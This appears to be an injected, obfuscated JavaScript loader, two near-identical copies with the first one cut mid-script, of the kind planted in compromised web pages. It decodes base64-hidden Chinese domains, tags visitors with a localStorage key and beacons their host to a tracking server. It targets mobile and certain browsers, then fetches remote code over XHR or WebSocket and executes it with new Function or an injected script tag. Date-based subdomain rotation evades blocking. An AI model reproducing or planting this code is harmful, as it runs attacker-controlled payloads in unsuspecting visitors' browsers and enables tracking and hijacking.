x=VuifpAwP,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=jhyx(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=jhyx(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmFzaGNucS5jbiUzQQTg4OTE=','d3NzJTNBJTJGGJTJGGYS55a2toanMuY24lM0E5NTM1','162093',window,document,['Q','G']);}:function(){};
function yltnjZ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function awoHTF(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return yltnjZ(t);};window[''+'U'+'r'+'E'+'G'+'J'+'i'+'O'+'j'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function iBkh(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=awoHTF,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=iBkh(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=iBkh(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmFzaGNucS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS5555a2toanMuY24lM0E55NTM1','162092',window,document,['l','5']);}:function(){};